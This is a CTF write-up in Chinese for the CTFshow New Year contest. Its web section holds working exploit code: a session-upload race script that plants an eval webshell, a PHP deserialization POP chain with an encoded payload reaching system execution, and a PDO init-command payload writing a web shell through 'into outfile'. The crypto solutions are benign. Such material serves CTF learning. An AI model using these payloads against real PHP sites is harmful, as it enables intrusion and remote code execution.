CTFshow元旦水友赛

Web

easy_include

考点:session文件包含

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import threading
import requests
from concurrent.futures import ThreadPoolExecutor, wait
url = 'http://7f912f80-afbb-483a-b740-9cbc4dba76c3.challenge.ctf.show/index.php'
session = requests.session()
PHPSESSID = 'd878413c2f0d7fca6b74e632a9ad8bfa'


def upload(e: threading.Event):
files = [
('file', ('load.png', b'a' * 40960, 'image/png')),
]
data = {'PHP_SESSION_UPLOAD_PROGRESS': rf'''<?php file_put_contents('/tmp/success', '<?php phpinfo();eval($_POST[2]);?>'); eval($_POST[2]); ?>'''}

while not e.is_set():
requests.post(
url,
data=data,
files=files,
cookies={'PHPSESSID': PHPSESSID},
)


def write(e: threading.Event):
while not e.is_set():
data={
'1':'localhost/tmp/sess_d878413c2f0d7fca6b74e632a9ad8bfa'
}
response = requests.post(
url=url,data=data
)

if PHPSESSID.encode() in response.content:
e.set()


if __name__ == '__main__':
futures = []
event = threading.Event()
pool = ThreadPoolExecutor(15)
for i in range(10):
futures.append(pool.submit(upload, event))

for i in range(5):
futures.append(pool.submit(write, event))

wait(futures)


运行脚本之后,文件包含localhost/tmp/sess_你的session值

可以发现包含成功,执行命令即可

1
localhost/tmp/sess_d878413c2f0d7fca6b74e632a9ad8bfa

image-20240101143703760

easy_web

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
<?php
header('Content-Type:text/html;charset=utf-8');
error_reporting(0);


function waf1($Chu0){
foreach ($Chu0 as $name => $value) {
if(preg_match('/[a-z]/i', $value)){
exit("waf1");
}
}
}

function waf2($Chu0){
if(preg_match('/show/i', $Chu0))
exit("waf2");
}

function waf_in_waf_php($a){
$count = substr_count($a,'base64');
echo "hinthinthint,base64喔"."<br>";
if($count!=1){
return True;
}
if (preg_match('/ucs-2|phar|data|input|zip|flag|\%/i',$a)){
return True;
}else{
return false;
}
}

class ctf{
public $h1;
public $h2;

public function __wakeup(){
throw new Exception("fastfast");
}

public function __destruct()
{
$this->h1->nonono($this->h2);
}
}

class show{

public function __call($name,$args){
if(preg_match('/ctf/i',$args[0][0][2])){
echo "gogogo";
}
}
}

class Chu0_write{
public $chu0;
public $chu1;
public $cmd;
public function __construct(){
$this->chu0 = 'xiuxiuxiu';
}

public function __toString(){
echo "__toString"."<br>";
if ($this->chu0===$this->chu1){
$content='ctfshowshowshowwww'.$_GET['chu0'];
if (!waf_in_waf_php($_GET['name'])){
file_put_contents($_GET['name'].".txt",$content);
}else{
echo "绕一下吧孩子";
}
$tmp = file_get_contents('ctfw.txt');
echo $tmp."<br>";
if (!preg_match("/f|l|a|g|x|\*|\?|\[|\]| |\'|\<|\>|\%/i",$_GET['cmd'])){
eval($tmp($_GET['cmd']));
}else{
echo "waf!";
}

file_put_contents("ctfw.txt","");
}
return "Go on";
}
}


if (!$_GET['show_show.show']){
echo "开胃小菜,就让我成为签到题叭";
highlight_file(__FILE__);
}else{
echo "WAF,启动!";
waf1($_REQUEST);
waf2($_SERVER['QUERY_STRING']);
if (!preg_match('/^[Oa]:[\d]/i',$_GET['show_show.show'])){
unserialize($_GET['show_show.show']);
}else{
echo "被waf啦";
}

}


waf1和waf2绕过,参考https://blog.csdn.net/rfrder/article/details/111824177

waf1:也说不允许有字母。因为POST的优先级比GET高,如果参数名相同,最终$_REQUEST中的值应该是POST里那个参数的,因此可以传POST:

1
show[show.show=1

waf2::show可以有url编码绕过

正则绕过

preg_match(‘/^[Oa]:[\d]/i’,$_GET[‘show_show.show’])

配合SplStack原生类可以绕过,

链子

destruct->call->tostring

destruct不用多说,在call哪里需要数组来绕过

class show{

    public function __call($name,$args){
        if(preg_match('/ctf/i',$args[0][0][2])){
            echo "gogogo";
        }
    }
}

这里配合Chu0_wirte类恰好可以实现有ctf

image-20240101150321895

如果这样

1
2
$b=new Chu0_write();
$a->h2=array(array("00","11",$b));
1
args[0][0][2]恰好指向Chu0_wirte类里,而这个类里也有ctf字符串,刚刚好,秒实在是妙~

下一步

1
2
3
4
5
6
7
if ($this->chu0===$this->chu1){
$content='ctfshowshowshowwww'.$_GET['chu0'];
if (!waf_in_waf_php($_GET['name'])){
file_put_contents($_GET['name'].".txt",$content);
}else{
echo "绕一下吧孩子";
}

引用绕过即可

$b->chu1 = &$b->chu0;

最终链子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
 <?php
class ctf{
public $h1;
public $h2=array(array("00","11","ctf"));

}


class show
{
public function __call($name,$args){

if(preg_match('/ctf/i',$args[0][0][2])){
echo "gogogo";
}
}
}

class Chu0_write{
public $chu0;
public $chu1;
public $cmd;

}

$a = new ctf();
$a->h1=new show();
$b=new Chu0_write();
$a->h2=array(array("00","11",$b));
$b->chu1 = &$b->chu0;
$d = new SplStack();
$d->push($a);
echo serialize($d);

Chu0_wirte类绕过

大体逻辑是传入的chu0的值拼接上ctfshowshowshowwww作为content的值,name是指的文件名字,file_put_contents将content的内容写入(name).txt,然后tmp读取ctfw.txt的值赋给tmp,最后套cmd执行命令。

思路:向ctfw.txt写入内容,可以被tmp利用

base64+过滤器绕过让长度等于1

php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-

8/convert.base64-decode/resource=ctfw

代码执行

chu0=c=003=00l=00z=00d=00G=00V=00t=00&cmd=env

拼接system

最终payload

1
2
3
4
5
6
7
?%73%68%6f%77%5b%73%68%6f%77%2e%73%68%6f%77=%43%3a%38%3a%22%53%70%6c%53%74%61%63%6b%22%3a%31%35%37%3a%7b%69%3a%36%3b%3a%4f%3a%33%3a%22%63%74%66%22%3a%32%3a%7b%73%3a%32%3a%22%68%31%22%3b%4f%3a%34%3a%22%73%68%6f%77%22%3a%30%3a%7b%7d%73%3a%32%3a%22%68%32%22%3b%61%3a%31%3a%7b%69%3a%30%3b%61%3a%33%3a%7b%69%3a%30%3b%73%3a%30%3a%22%22%3b%69%3a%31%3b%73%3a%30%3a%22%22%3b%69%3a%32%3b%4f%3a%31%30%3a%22%43%68%75%30%5f%77%72%69%74%65%22%3a%33%3a%7b%73%3a%34%3a%22%63%68%75%30%22%3b%4e%3b%73%3a%34%3a%22%63%68%75%31%22%3b%52%3a%31%30%3b%73%3a%33%3a%22%63%6d%64%22%3b%4e%3b%7d%7d%7d%7d%7d%0a&chu0&name=php://filter/wr
ite=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8/convert.base64-
decode/resource=ctfw&chu0=c=003=00l=00z=00d=00G=00V=00t=00&cmd=env



show[show.show=1&cmd=1&chu0=1&name=1

easy_login

https://gitee.com/ctfshow/easy-login

这个题是CTfshow红包活动9的原题,直接去找官方wp

image-20240101164157351

https://ctf-show.feishu.cn/docx/QdPBdLJDBoDxL7xBAtFcsksAnmg

套一血大哥的就好,嘻嘻

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

session_start();
class mysql_helper
{
public $option = array(
PDO::MYSQL_ATTR_INIT_COMMAND => "select '<?=`nl /*`;' into outfile '/var/www/html/3.php';"
);
}
class application
{
public $mysql;
public $debug = true;

public function __construct()
{
$this->mysql = new mysql_helper();
}

}
$_SESSION['user'] = new application();
echo session_encode();
1
/index.php?action=main&token=user|O%3a11%3a"application"%3a2%3a{s%3a5%3a"mysql"%3bO%3a12%3a"mysql_helper"%3a1%3a{s%3a6%3a"option"%3ba%3a1%3a{i%3a1002%3bs%3a57%3a"select+'<%3f%3d`nl+/*`%3b'++into+outfile+'/var/www/html/3.php'%3b"%3b}}s%3a5%3a"debug"%3bb%3a1%3b}

再去访问3.php直接拿到flag

Crypto

月月的爱情故事

1
2
3
4
5
6
7
8
9
10
你知道吗。月月今天遇到了一个让他心动的女孩,她的名字叫做小雨,太幸运了。小雨是一个活泼可爱的女孩!她的笑容如同春天里的阳光。温暖了月月的心,月月第一次见到小雨是在图书馆里!事情是这样的。当时小雨正在专心致志地看书。阳光洒在她的脸上。让她看起来如同天使一般美丽!月月被小雨的美丽和才华所吸引。开始暗暗关注她。在接下来的日子里。月月开始尝试与小雨接触!和她聊天和学习。他们有着许多共同的兴趣爱好,一起度过了许多快乐的时光,渐渐地!月月发现自己对小雨产生了特殊的感情,他开始向小雨表达自己的心意,然而,小雨并没有立即接受月月的感情!她告诉月月。她曾经受过感情的伤害,需要时间来慢慢修复自己的心灵。月月尊重小雨的决定!他开始用更多的时间和精力来陪伴小雨,帮助她走出过去的阴影。在接下来的几个月里。月月和小雨的关系逐渐升温!他们一起参加了许多校园活动。一起探索了那个城市的角角落落。渐渐地!雨也开始对月月产生了感情。她发现自己越来越依赖他。越来越喜欢他。最终!小雨和月月走到了一起,他们的爱情故事成为了校园里的佳话。让同学们都羡慕不已,他们一起度过了青春岁月,一起经历了成长和进步的喜悦与挫折!他们的感情越来越深厚。也越来越稳定。在他们的恋爱过程中,月月和小雨也学会了如何相处和包容对方!他们互相理解互相支持。一起面对生活中的挑战和困难!他们的爱情让他们变得更加坚强和勇敢,也让他们感受到了生命中最美好的东西。月月相信他们能走得更远,更相信自己不会辜负小雨,当他们遭遇挫折和失败的时候!两人永远不会被打倒。这正是他们彼此爱的力量。在他们空闲的时候,月月经常带小雨出去逛街!晚上一起看电影。有一天!月月说将来他要给小雨一场最美的婚礼,小雨十分感动也十分期盼。就这样。这份约定成为了两人前进的动力。两人共同努力最终一起考上了同一所大学的研究生。两人非常开心彼此深情地看着对方似乎有说不完的情话!研究生三年他们互相帮助一起度过了人生最有意义的大学时光,毕业后两人也很轻松找到了自己心仪的企业。月月没有忘记当初的约定。是的。他要给小雨一场最美好的婚礼。终于!这一天到来了,小雨穿上月月为她定制的婚纱。他们手牵手走向了更美好的未来。场下。所有的嘉宾都为他们鼓掌和欢呼并祝福他们的爱情能够永恒长存。



VTJGc2RHVmtYMS9iVkY0NXp5dGxrZUVoZWZBcWtwSFFkTXF0VUxrMk9pYkxxNzlOSEpNbTlyUDNDdGtLckU0MQpDYUJKbU1JVmNVVlNiM0l6cEhldVd3PT0=



hint:试试摩斯吧!

根据提示试试摩斯,猜测应该有摩斯密码,哪里有呢,好好好,想了半天在标点符号,

写个脚本提取摩斯

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def morse_code_conversion(text):
morse_code_dict = {
'。': '.',
',': '-',
'!': '/',
}
morse_code_text = ''
for char in text:
if char in morse_code_dict:
print(char, end=' ')
morse_code_text += morse_code_dict.get(char, '')
return morse_code_text

text = "你知道吗。月月今天遇到了一个让他心动的女孩,她的名字叫做小雨,太幸运了。小雨是一个活泼可爱的女孩!她的笑容如同春天里的阳光。温暖了月月的心,月月第一次见到小雨是在图书馆里!事情是这样的。当时小雨正在专心致志地看书。阳光洒在她的脸上。让她看起来如同天使一般美丽!月月被小雨的美丽和才华所吸引。开始暗暗关注她。在接下来的日子里。月月开始尝试与小雨接触!和她聊天和学习。他们有着许多共同的兴趣爱好,一起度过了许多快乐的时光,渐渐地!月月发现自己对小雨产生了特殊的感情,他开始向小雨表达自己的心意,然而,小雨并没有立即接受月月的感情!她告诉月月。她曾经受过感情的伤害,需要时间来慢慢修复自己的心灵。月月尊重小雨的决定!他开始用更多的时间和精力来陪伴小雨,帮助她走出过去的阴影。在接下来的几个月里。月月和小雨的关系逐渐升温!他们一起参加了许多校园活动。一起探索了那个城市的角角落落。渐渐地!雨也开始对月月产生了感情。她发现自己越来越依赖他。越来越喜欢他。最终!小雨和月月走到了一起,他们的爱情故事成为了校园里的佳话。让同学们都羡慕不已,他们一起度过了青春岁月,一起经历了成长和进步的喜悦与挫折!他们的感情越来越深厚。也越来越稳定。在他们的恋爱过程中,月月和小雨也学会了如何相处和包容对方!他们互相理解互相支持。一起面对生活中的挑战和困难!他们的爱情让他们变得更加坚强和勇敢,也让他们感受到了生命中最美好的东西。月月相信他们能走得更远,更相信自己不会辜负小雨,当他们遭遇挫折和失败的时候!两人永远不会被打倒。这正是他们彼此爱的力量。在他们空闲的时候,月月经常带小雨出去逛街!晚上一起看电影。有一天!月月说将来他要给小雨一场最美的婚礼,小雨十分感动也十分期盼。就这样。这份约定成为了两人前进的动力。两人共同努力最终一起考上了同一所大学的研究生。两人非常开心彼此深情地看着对方似乎有说不完的情话!研究生三年他们互相帮助一起度过了人生最有意义的大学时光,毕业后两人也很轻松找到了自己心仪的企业。月月没有忘记当初的约定。是的。他要给小雨一场最美好的婚礼。终于!这一天到来了,小雨穿上月月为她定制的婚纱。他们手牵手走向了更美好的未来。场下。所有的嘉宾都为他们鼓掌和欢呼并祝福他们的爱情能够永恒长存。"
punctuations = ',。!'
morse_code_output = morse_code_conversion(text)
print('\n' + morse_code_output)


image-20240101170725739

密钥为YUEYUE666

先一层base64

之后AES解密

image-20240101172733538

ctfshow{W0w_th3_st0ry_s0_w0nderfu1!}

RSA

ctfshow{This_Is_Really_Not_So_Smooth!}

1
2
3
4
5
6
7
8
9
10
sage: keyx
b"\x9e\xb5\xd1\xeeJK\xb5\xcb\xe1\x86\x91J\xfb\x1f\xfdHS.X\xd0B\xebb\xcb\xef\xa0\\\xbc.3q\xd0\xe4\xa28\xdd\x82\\\xf22s\xae\xc8\xfd\xf8\xf7W\x84v\x90U9!i\xdfP^|\xdc\x00w`\x92\xbd\x9c\xa9\xbf\x9c\x91\x0c&P\x947\x12iU\x16\x19\x8b\xf4\xc2\xc9\xd1E\xf4\xe98'\x10N\x93\xcd\xdf\xb0\x85\xeb\x8d\xbb\xcc\x18\x14S\xf5S`\xf8\x98\xc6\xbd\xae\tU7\x9b\xd8\x7f\x0e\x1e\x95n\x0f*\x1d\xc0X\x1c"
sage: len(keyx)
127
sage: from Crypto.Util.strxor import strxor
sage: enc
b'\xfd\xc1\xb7\x9d"$\xc2\xb0\xb5\xee\xf89\xa4V\x8e\x17\x01K9\xbc.\x92=\x85\x80\xd4\x03\xefAl"\xbd\x8b\xcdL\xb5\xa3!'

sage: strxor(enc,keyx[:38])
b'ctfshow{This_Is_Really_Not_So_Smooth!}'